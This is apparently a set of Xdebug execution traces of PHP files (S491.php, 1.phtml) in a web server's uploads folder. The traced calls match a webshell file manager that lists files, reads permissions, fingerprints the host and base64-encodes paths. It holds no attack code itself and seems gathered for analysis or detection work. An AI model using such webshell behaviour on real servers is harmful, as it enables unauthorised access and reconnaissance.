3	50	1	0.002985	506032
3	50	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2		A						/var/www/html/uploads/S491.php	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
3	54	0	0.003015	506032	is_dir	0		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/data'
3	54	1	0.003028	506072
3	54	R			TRUE
2		A						/var/www/html/uploads/S491.php	328	$current['size'] = '--'
3	55	0	0.003053	506032	perms	1		/var/www/html/uploads/S491.php	329	1	'/var/www/html/uploads/data'
4	56	0	0.003065	506032	fileperms	0		/var/www/html/uploads/S491.php	482	1	'/var/www/html/uploads/data'
4	56	1	0.003079	506072
4	56	R			16895
3		A						/var/www/html/uploads/S491.php	482	$perms = 16895
3		A						/var/www/html/uploads/S491.php	498	$info = 'd'
3		A						/var/www/html/uploads/S491.php	511	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	512	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	515	$info .= 'x'
3		A						/var/www/html/uploads/S491.php	518	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	519	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	522	$info .= 'x'
3		A						/var/www/html/uploads/S491.php	525	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	526	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	529	$info .= 'x'
3	55	1	0.003201	506072
3	55	R			'drwxrwxrwx'
2		A						/var/www/html/uploads/S491.php	329	$current['perm'] = 'drwxrwxrwx'
3	57	0	0.003227	506072	is_writable	0		/var/www/html/uploads/S491.php	330	1	'/var/www/html/uploads/data'
3	57	1	0.003244	506112
3	57	R			TRUE
2		A						/var/www/html/uploads/S491.php	331	$current['permcolor'] = 'green'
2		A						/var/www/html/uploads/S491.php	338	$result[] = ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/prepend.php'
3	58	0	0.003302	506888	is_dir	0		/var/www/html/uploads/S491.php	321	1	'/var/www/html/uploads/prepend.php'
3	58	1	0.003317	506936
3	58	R			FALSE
2	43	1	0.003332	505896
2	43	R			[0 => ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']]
1		A						/var/www/html/uploads/S491.php	260	$dirs = [0 => ['fullname' => '/var/www/html/uploads/data', 'name' => 'data', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=', 'size' => '--', 'perm' => 'drwxrwxrwx', 'permcolor' => 'green']]
2	59	0	0.003377	506664	g22b_crypt	1		/var/www/html/uploads/S491.php	274	2	'data'	'en'
3	60	0	0.003391	506664	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
3	60	1	0.003404	506704
3	60	R			TRUE
3	61	0	0.003417	506664	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
3	61	1	0.003430	506704
3	61	R			TRUE
3	62	0	0.003443	506664	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'data'
3	62	1	0.003456	506736
3	62	R			'ZGF0YQ=='
2	59	1	0.003470	506704
2	59	R			'ZGF0YQ=='
2	63	0	0.003484	505896	getfiles	1		/var/www/html/uploads/S491.php	283	1	'file'
3	64	0	0.003497	505896	scandir	0		/var/www/html/uploads/S491.php	316	1	'/var/www/html/uploads'
3	64	1	0.003521	506520
3	64	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'S491.php', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/S491.php	316	$dir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'S491.php', 4 => 'data', 5 => 'prepend.php']
2		A						/var/www/html/uploads/S491.php	317	$result = []
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/.'
3	65	0	0.003586	506912	is_file	0		/var/www/html/uploads/S491.php	323	1	'/var/www/html/uploads/.'
3	65	1	0.003600	506936
3	65	R			FALSE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/..'
3	66	0	0.003625	506904	is_file	0		/var/www/html/uploads/S491.php	323	1	'/var/www/html/uploads/..'
3	66	1	0.003639	506952
3	66	R			FALSE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/.htaccess'
3	67	0	0.003664	506912	is_file	0		/var/www/html/uploads/S491.php	323	1	'/var/www/html/uploads/.htaccess'
3	67	1	0.003679	506952
3	67	R			TRUE
2		A						/var/www/html/uploads/S491.php	326	$current['name'] = '.htaccess'
3	68	0	0.003703	506912	g22b_crypt	1		/var/www/html/uploads/S491.php	327	2	'/var/www/html/uploads/.htaccess'	'en'
4	69	0	0.003717	506912	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	69	1	0.003731	506952
4	69	R			TRUE
4	70	0	0.003744	506912	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	70	1	0.003757	506952
4	70	R			TRUE
4	71	0	0.003770	506912	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html/uploads/.htaccess'
4	71	1	0.003783	507024
4	71	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
3	68	1	0.003800	506992
3	68	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2		A						/var/www/html/uploads/S491.php	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
3	72	0	0.003830	506992	is_dir	0		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/.htaccess'
3	72	1	0.003843	507032
3	72	R			FALSE
3	73	0	0.003864	506992	file_size	1		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/.htaccess'
4	74	0	0.003877	506992	filesize	0		/var/www/html/uploads/S491.php	352	1	'/var/www/html/uploads/.htaccess'
4	74	1	0.003890	507032
4	74	R			64
3		A						/var/www/html/uploads/S491.php	352	$size = 0.0625
4	75	0	0.003915	506992	round	0		/var/www/html/uploads/S491.php	353	2	0.0625	3
4	75	1	0.003928	507064
4	75	R			0.063
3		A						/var/www/html/uploads/S491.php	353	$size = 0.063
3		A						/var/www/html/uploads/S491.php	357	$size = '0.063 KB'
3	73	1	0.003965	507032
3	73	R			'0.063 KB'
2		A						/var/www/html/uploads/S491.php	328	$current['size'] = '0.063 KB'
3	76	0	0.003991	507032	perms	1		/var/www/html/uploads/S491.php	329	1	'/var/www/html/uploads/.htaccess'
4	77	0	0.004004	507032	fileperms	0		/var/www/html/uploads/S491.php	482	1	'/var/www/html/uploads/.htaccess'
4	77	1	0.004017	507072
4	77	R			33188
3		A						/var/www/html/uploads/S491.php	482	$perms = 33188
3		A						/var/www/html/uploads/S491.php	492	$info = '-'
3		A						/var/www/html/uploads/S491.php	511	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	512	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	515	$info .= '-'
3		A						/var/www/html/uploads/S491.php	518	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	519	$info .= '-'
3		A						/var/www/html/uploads/S491.php	522	$info .= '-'
3		A						/var/www/html/uploads/S491.php	525	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	526	$info .= '-'
3		A						/var/www/html/uploads/S491.php	529	$info .= '-'
3	76	1	0.004139	507072
3	76	R			'-rw-r--r--'
2		A						/var/www/html/uploads/S491.php	329	$current['perm'] = '-rw-r--r--'
3	78	0	0.004165	507072	is_writable	0		/var/www/html/uploads/S491.php	330	1	'/var/www/html/uploads/.htaccess'
3	78	1	0.004181	507112
3	78	R			FALSE
3	79	0	0.004195	507072	is_readable	0		/var/www/html/uploads/S491.php	332	1	'/var/www/html/uploads/.htaccess'
3	79	1	0.004210	507112
3	79	R			TRUE
2		A						/var/www/html/uploads/S491.php	333	$current['permcolor'] = ''
2		A						/var/www/html/uploads/S491.php	338	$result[] = ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => '']
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/S491.php'
3	80	0	0.004269	507880	is_file	0		/var/www/html/uploads/S491.php	323	1	'/var/www/html/uploads/S491.php'
3	80	1	0.004284	507920
3	80	R			TRUE
2		A						/var/www/html/uploads/S491.php	326	$current['name'] = 'S491.php'
3	81	0	0.004312	507880	g22b_crypt	1		/var/www/html/uploads/S491.php	327	2	'/var/www/html/uploads/S491.php'	'en'
4	82	0	0.004326	507880	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	82	1	0.004340	507920
4	82	R			TRUE
4	83	0	0.004352	507880	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	83	1	0.004365	507920
4	83	R			TRUE
4	84	0	0.004378	507880	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html/uploads/S491.php'
4	84	1	0.004391	507992
4	84	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL1M0OTEucGhw'
3	81	1	0.004408	507960
3	81	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL1M0OTEucGhw'
2		A						/var/www/html/uploads/S491.php	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL1M0OTEucGhw'
3	85	0	0.004438	507960	is_dir	0		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/S491.php'
3	85	1	0.004450	508000
3	85	R			FALSE
3	86	0	0.004463	507960	file_size	1		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/S491.php'
4	87	0	0.004475	507960	filesize	0		/var/www/html/uploads/S491.php	352	1	'/var/www/html/uploads/S491.php'
4	87	1	0.004487	508000
4	87	R			19351
3		A						/var/www/html/uploads/S491.php	352	$size = 18.8974609375
4	88	0	0.004557	507960	round	0		/var/www/html/uploads/S491.php	353	2	18.8974609375	3
4	88	1	0.004571	508032
4	88	R			18.897
3		A						/var/www/html/uploads/S491.php	353	$size = 18.897
3		A						/var/www/html/uploads/S491.php	357	$size = '18.897 KB'
3	86	1	0.004608	508000
3	86	R			'18.897 KB'
2		A						/var/www/html/uploads/S491.php	328	$current['size'] = '18.897 KB'
3	89	0	0.004635	508000	perms	1		/var/www/html/uploads/S491.php	329	1	'/var/www/html/uploads/S491.php'
4	90	0	0.004647	508000	fileperms	0		/var/www/html/uploads/S491.php	482	1	'/var/www/html/uploads/S491.php'
4	90	1	0.004659	508040
4	90	R			33204
3		A						/var/www/html/uploads/S491.php	482	$perms = 33204
3		A						/var/www/html/uploads/S491.php	492	$info = '-'
3		A						/var/www/html/uploads/S491.php	511	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	512	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	515	$info .= '-'
3		A						/var/www/html/uploads/S491.php	518	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	519	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	522	$info .= '-'
3		A						/var/www/html/uploads/S491.php	525	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	526	$info .= '-'
3		A						/var/www/html/uploads/S491.php	529	$info .= '-'
3	89	1	0.004780	508040
3	89	R			'-rw-rw-r--'
2		A						/var/www/html/uploads/S491.php	329	$current['perm'] = '-rw-rw-r--'
3	91	0	0.004806	508040	is_writable	0		/var/www/html/uploads/S491.php	330	1	'/var/www/html/uploads/S491.php'
3	91	1	0.004823	508080
3	91	R			FALSE
3	92	0	0.004837	508040	is_readable	0		/var/www/html/uploads/S491.php	332	1	'/var/www/html/uploads/S491.php'
3	92	1	0.004852	508080
3	92	R			TRUE
2		A						/var/www/html/uploads/S491.php	333	$current['permcolor'] = ''
2		A						/var/www/html/uploads/S491.php	338	$result[] = ['fullname' => '/var/www/html/uploads/S491.php', 'name' => 'S491.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL1M0OTEucGhw', 'size' => '18.897 KB', 'perm' => '-rw-rw-r--', 'permcolor' => '']
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/data'
3	93	0	0.004910	508472	is_file	0		/var/www/html/uploads/S491.php	323	1	'/var/www/html/uploads/data'
3	93	1	0.004925	508512
3	93	R			FALSE
2		A						/var/www/html/uploads/S491.php	319	$current['fullname'] = '/var/www/html/uploads/prepend.php'
3	94	0	0.004951	508480	is_file	0		/var/www/html/uploads/S491.php	323	1	'/var/www/html/uploads/prepend.php'
3	94	1	0.004966	508528
3	94	R			TRUE
2		A						/var/www/html/uploads/S491.php	326	$current['name'] = 'prepend.php'
3	95	0	0.004991	508488	g22b_crypt	1		/var/www/html/uploads/S491.php	327	2	'/var/www/html/uploads/prepend.php'	'en'
4	96	0	0.005005	508488	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
4	96	1	0.005019	508528
4	96	R			TRUE
4	97	0	0.005032	508488	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
4	97	1	0.005059	508528
4	97	R			TRUE
4	98	0	0.005072	508488	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'/var/www/html/uploads/prepend.php'
4	98	1	0.005090	508600
4	98	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
3	95	1	0.005108	508568
3	95	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2		A						/var/www/html/uploads/S491.php	327	$current['link'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
3	99	0	0.005139	508568	is_dir	0		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/prepend.php'
3	99	1	0.005152	508608
3	99	R			FALSE
3	100	0	0.005165	508568	file_size	1		/var/www/html/uploads/S491.php	328	1	'/var/www/html/uploads/prepend.php'
4	101	0	0.005178	508568	filesize	0		/var/www/html/uploads/S491.php	352	1	'/var/www/html/uploads/prepend.php'
4	101	1	0.005191	508608
4	101	R			57
3		A						/var/www/html/uploads/S491.php	352	$size = 0.0556640625
4	102	0	0.005216	508568	round	0		/var/www/html/uploads/S491.php	353	2	0.0556640625	3
4	102	1	0.005229	508640
4	102	R			0.056
3		A						/var/www/html/uploads/S491.php	353	$size = 0.056
3		A						/var/www/html/uploads/S491.php	357	$size = '0.056 KB'
3	100	1	0.005265	508608
3	100	R			'0.056 KB'
2		A						/var/www/html/uploads/S491.php	328	$current['size'] = '0.056 KB'
3	103	0	0.005291	508608	perms	1		/var/www/html/uploads/S491.php	329	1	'/var/www/html/uploads/prepend.php'
4	104	0	0.005305	508608	fileperms	0		/var/www/html/uploads/S491.php	482	1	'/var/www/html/uploads/prepend.php'
4	104	1	0.005318	508648
4	104	R			33261
3		A						/var/www/html/uploads/S491.php	482	$perms = 33261
3		A						/var/www/html/uploads/S491.php	492	$info = '-'
3		A						/var/www/html/uploads/S491.php	511	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	512	$info .= 'w'
3		A						/var/www/html/uploads/S491.php	515	$info .= 'x'
3		A						/var/www/html/uploads/S491.php	518	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	519	$info .= '-'
3		A						/var/www/html/uploads/S491.php	522	$info .= 'x'
3		A						/var/www/html/uploads/S491.php	525	$info .= 'r'
3		A						/var/www/html/uploads/S491.php	526	$info .= '-'
3		A						/var/www/html/uploads/S491.php	529	$info .= 'x'
3	103	1	0.005439	508648
3	103	R			'-rwxr-xr-x'
2		A						/var/www/html/uploads/S491.php	329	$current['perm'] = '-rwxr-xr-x'
3	105	0	0.005465	508648	is_writable	0		/var/www/html/uploads/S491.php	330	1	'/var/www/html/uploads/prepend.php'
3	105	1	0.005482	508688
3	105	R			FALSE
3	106	0	0.005495	508648	is_readable	0		/var/www/html/uploads/S491.php	332	1	'/var/www/html/uploads/prepend.php'
3	106	1	0.005511	508688
3	106	R			TRUE
2		A						/var/www/html/uploads/S491.php	333	$current['permcolor'] = ''
2		A						/var/www/html/uploads/S491.php	338	$result[] = ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']
2	63	1	0.005559	508176
2	63	R			[0 => ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => ''], 1 => ['fullname' => '/var/www/html/uploads/S491.php', 'name' => 'S491.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL1M0OTEucGhw', 'size' => '18.897 KB', 'perm' => '-rw-rw-r--', 'permcolor' => ''], 2 => ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']]
1		A						/var/www/html/uploads/S491.php	283	$files = [0 => ['fullname' => '/var/www/html/uploads/.htaccess', 'name' => '.htaccess', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==', 'size' => '0.063 KB', 'perm' => '-rw-r--r--', 'permcolor' => ''], 1 => ['fullname' => '/var/www/html/uploads/S491.php', 'name' => 'S491.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL1M0OTEucGhw', 'size' => '18.897 KB', 'perm' => '-rw-rw-r--', 'permcolor' => ''], 2 => ['fullname' => '/var/www/html/uploads/prepend.php', 'name' => 'prepend.php', 'link' => 'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw', 'size' => '0.056 KB', 'perm' => '-rwxr-xr-x', 'permcolor' => '']]
2	107	0	0.005629	509072	g22b_crypt	1		/var/www/html/uploads/S491.php	301	2	'.htaccess'	'en'
3	108	0	0.005643	509072	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
3	108	1	0.005656	509112
3	108	R			TRUE
3	109	0	0.005670	509072	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
3	109	1	0.005683	509112
3	109	R			TRUE
3	110	0	0.005696	509072	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'.htaccess'
3	110	1	0.005708	509152
3	110	R			'Lmh0YWNjZXNz'
2	107	1	0.005723	509120
2	107	R			'Lmh0YWNjZXNz'
2	111	0	0.005740	509072	g22b_crypt	1		/var/www/html/uploads/S491.php	301	2	'S491.php'	'en'
3	112	0	0.005753	509072	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
3	112	1	0.005766	509112
3	112	R			TRUE
3	113	0	0.005783	509072	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
3	113	1	0.005796	509112
3	113	R			TRUE
3	114	0	0.005809	509072	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'S491.php'
3	114	1	0.005822	509152
3	114	R			'UzQ5MS5waHA='
2	111	1	0.005836	509120
2	111	R			'UzQ5MS5waHA='
2	115	0	0.005852	509072	g22b_crypt	1		/var/www/html/uploads/S491.php	301	2	'prepend.php'	'en'
3	116	0	0.005866	509072	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_encode'
3	116	1	0.005879	509112
3	116	R			TRUE
3	117	0	0.005891	509072	function_exists	0		/var/www/html/uploads/S491.php	362	1	'base64_decode'
3	117	1	0.005904	509112
3	117	R			TRUE
3	118	0	0.005917	509072	base64_encode	0		/var/www/html/uploads/S491.php	363	1	'prepend.php'
3	118	1	0.005929	509152
3	118	R			'cHJlcGVuZC5waHA='
2	115	1	0.005944	509120
2	115	R			'cHJlcGVuZC5waHA='
1	3	1	0.005961	508176
			0.006101	377528
TRACE END   [2023-02-12 22:51:54.012845]

data/traces/0ec9cee4fc3fdcbf57a414a655509bce_trace-1676253802.6397.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:03:48.537520]
1	0	1	0.000139	393512
1	3	0	0.000820	504240	{main}	1		/var/www/html/uploads/1.phtml	0	0
2	4	0	0.000843	504240	error_reporting	0		/var/www/html/uploads/1.phtml	4	1	0
2	4	1	0.000864	504280
2	4	R			22527
2	5	0	0.000882	504240	set_time_limit	0		/var/www/html/uploads/1.phtml	5	1	0
2	5	1	0.000902	504304
2	5	R			FALSE
2	6	0	0.000920	504272	start	1		/var/www/html/uploads/1.phtml	6	0
2		A						/var/www/html/uploads/1.phtml	344	_POST =& 
2		A						/var/www/html/uploads/1.phtml	344	_GET =& 
3	7	0	0.000966	504296	cwd	1		/var/www/html/uploads/1.phtml	346	0
4	8	0	0.000981	504296	function_exists	0		/var/www/html/uploads/1.phtml	416	1	'getcwd'
4	8	1	0.000999	504336
4	8	R			TRUE
4	9	0	0.001016	504296	getcwd	0		/var/www/html/uploads/1.phtml	417	0
4	9	1	0.001033	504344
4	9	R			'/var/www/html/uploads'
3	7	1	0.001052	504344
3	7	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/1.phtml	346	$result['currentpath'] = '/var/www/html/uploads'
3	10	0	0.001088	504720	cwd	1		/var/www/html/uploads/1.phtml	347	0
4	11	0	0.001104	504720	function_exists	0		/var/www/html/uploads/1.phtml	416	1	'getcwd'
4	11	1	0.001121	504760
4	11	R			TRUE
4	12	0	0.001138	504720	getcwd	0		/var/www/html/uploads/1.phtml	417	0
4	12	1	0.001154	504768
4	12	R			'/var/www/html/uploads'
3	10	1	0.001173	504768
3	10	R			'/var/www/html/uploads'
3	13	0	0.001191	504768	g22b_crypt	1		/var/www/html/uploads/1.phtml	347	2	'/var/www/html/uploads'	'en'
4	14	0	0.001209	504768	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	14	1	0.001227	504808
4	14	R			TRUE
4	15	0	0.001243	504768	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	15	1	0.001260	504808
4	15	R			TRUE
4	16	0	0.001277	504768	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www/html/uploads'
4	16	1	0.001295	504864
4	16	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
3	13	1	0.001316	504832
3	13	R			'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2		A						/var/www/html/uploads/1.phtml	347	$result['currentpathen'] = 'L3Zhci93d3cvaHRtbC91cGxvYWRz'
2	6	1	0.001354	504784
2	6	R			['currentpath' => '/var/www/html/uploads', 'currentpathen' => 'L3Zhci93d3cvaHRtbC91cGxvYWRz']
2	17	0	0.001380	504784	extract	0		/var/www/html/uploads/1.phtml	6	1	['currentpath' => '/var/www/html/uploads', 'currentpathen' => 'L3Zhci93d3cvaHRtbC91cGxvYWRz']
2	17	1	0.001403	504816
2	17	R			2
2	18	0	0.001420	504408	get_magic_quotes_gpc	0		/var/www/html/uploads/1.phtml	7	0
2	18	1	0.001436	504408
2	18	R			FALSE
1		A						/var/www/html/uploads/1.phtml	12	_POST['path'] = FALSE
1		A						/var/www/html/uploads/1.phtml	13	_POST['name'] = FALSE
2	19	0	0.001485	504760	php_uname	0		/var/www/html/uploads/1.phtml	122	0
2	19	1	0.001502	504872
2	19	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	20	0	0.001534	507832	nav_link	1		/var/www/html/uploads/1.phtml	124	0
2		A						/var/www/html/uploads/1.phtml	390	$path = '/var/www/html/uploads'
3	21	0	0.001565	507856	str_replace	0		/var/www/html/uploads/1.phtml	391	3	'\\'	'/'	'/var/www/html/uploads'
3	21	1	0.001585	507952
3	21	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/1.phtml	391	$path = '/var/www/html/uploads'
3	22	0	0.001617	507856	explode	0		/var/www/html/uploads/1.phtml	392	2	'/'	'/var/www/html/uploads'
3	22	1	0.001635	508432
3	22	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2		A						/var/www/html/uploads/1.phtml	392	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2		A						/var/www/html/uploads/1.phtml	393	$result = ''
2		A						/var/www/html/uploads/1.phtml	394	$id = 0
2		A						/var/www/html/uploads/1.phtml	396	$a = TRUE
3	23	0	0.001717	508360	g22b_crypt	1		/var/www/html/uploads/1.phtml	397	2	'/'	'en'
4	24	0	0.001734	508360	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	24	1	0.001751	508400
4	24	R			TRUE
4	25	0	0.001768	508360	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	25	1	0.001785	508400
4	25	R			TRUE
4	26	0	0.001802	508360	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/'
4	26	1	0.001825	508432
4	26	R			'Lw=='
3	23	1	0.001842	508400
3	23	R			'Lw=='
2		A						/var/www/html/uploads/1.phtml	397	$result .= '<a href="?path=Lw==">/</a>'
2		A						/var/www/html/uploads/1.phtml	394	$id = 1
2		A						/var/www/html/uploads/1.phtml	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/1.phtml	402	$linkpath = ''
2		A						/var/www/html/uploads/1.phtml	403	$i = 0
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= ''
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/1.phtml	403	$i++
3	27	0	0.001993	508472	g22b_crypt	1		/var/www/html/uploads/1.phtml	407	2	'/var'	'en'
4	28	0	0.002010	508472	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	28	1	0.002028	508512
4	28	R			TRUE
4	29	0	0.002045	508472	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	29	1	0.002062	508512
4	29	R			TRUE
4	30	0	0.002079	508472	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var'
4	30	1	0.002095	508544
4	30	R			'L3Zhcg=='
3	27	1	0.002114	508512
3	27	R			'L3Zhcg=='
2		A						/var/www/html/uploads/1.phtml	407	$result .= 'L3Zhcg=='
2		A						/var/www/html/uploads/1.phtml	408	$result .= '">var</a>/'
2		A						/var/www/html/uploads/1.phtml	394	$id = 2
2		A						/var/www/html/uploads/1.phtml	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/1.phtml	402	$linkpath = ''
2		A						/var/www/html/uploads/1.phtml	403	$i = 0
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= ''
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'www'
2		A						/var/www/html/uploads/1.phtml	403	$i++
3	31	0	0.002306	508512	g22b_crypt	1		/var/www/html/uploads/1.phtml	407	2	'/var/www'	'en'
4	32	0	0.002326	508512	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	32	1	0.002345	508552
4	32	R			TRUE
4	33	0	0.002456	508512	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_decode'
4	33	1	0.002475	508552
4	33	R			TRUE
4	34	0	0.002492	508512	base64_encode	0		/var/www/html/uploads/1.phtml	363	1	'/var/www'
4	34	1	0.002508	508592
4	34	R			'L3Zhci93d3c='
3	31	1	0.002528	508560
3	31	R			'L3Zhci93d3c='
2		A						/var/www/html/uploads/1.phtml	407	$result .= 'L3Zhci93d3c='
2		A						/var/www/html/uploads/1.phtml	408	$result .= '">www</a>/'
2		A						/var/www/html/uploads/1.phtml	394	$id = 3
2		A						/var/www/html/uploads/1.phtml	401	$result .= '<a href="?path='
2		A						/var/www/html/uploads/1.phtml	402	$linkpath = ''
2		A						/var/www/html/uploads/1.phtml	403	$i = 0
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= ''
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'var'
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'www'
2		A						/var/www/html/uploads/1.phtml	405	$linkpath .= '/'
2		A						/var/www/html/uploads/1.phtml	403	$i++
2		A						/var/www/html/uploads/1.phtml	404	$linkpath .= 'html'
2		A						/var/www/html/uploads/1.phtml	403	$i++
3	35	0	0.002756	508560	g22b_crypt	1		/var/www/html/uploads/1.phtml	407	2	'/var/www/html'	'en'
4	36	0	0.002774	508560	function_exists	0		/var/www/html/uploads/1.phtml	362	1	'base64_encode'
4	36	1	0.002792	508600
4	36	R			TRUE
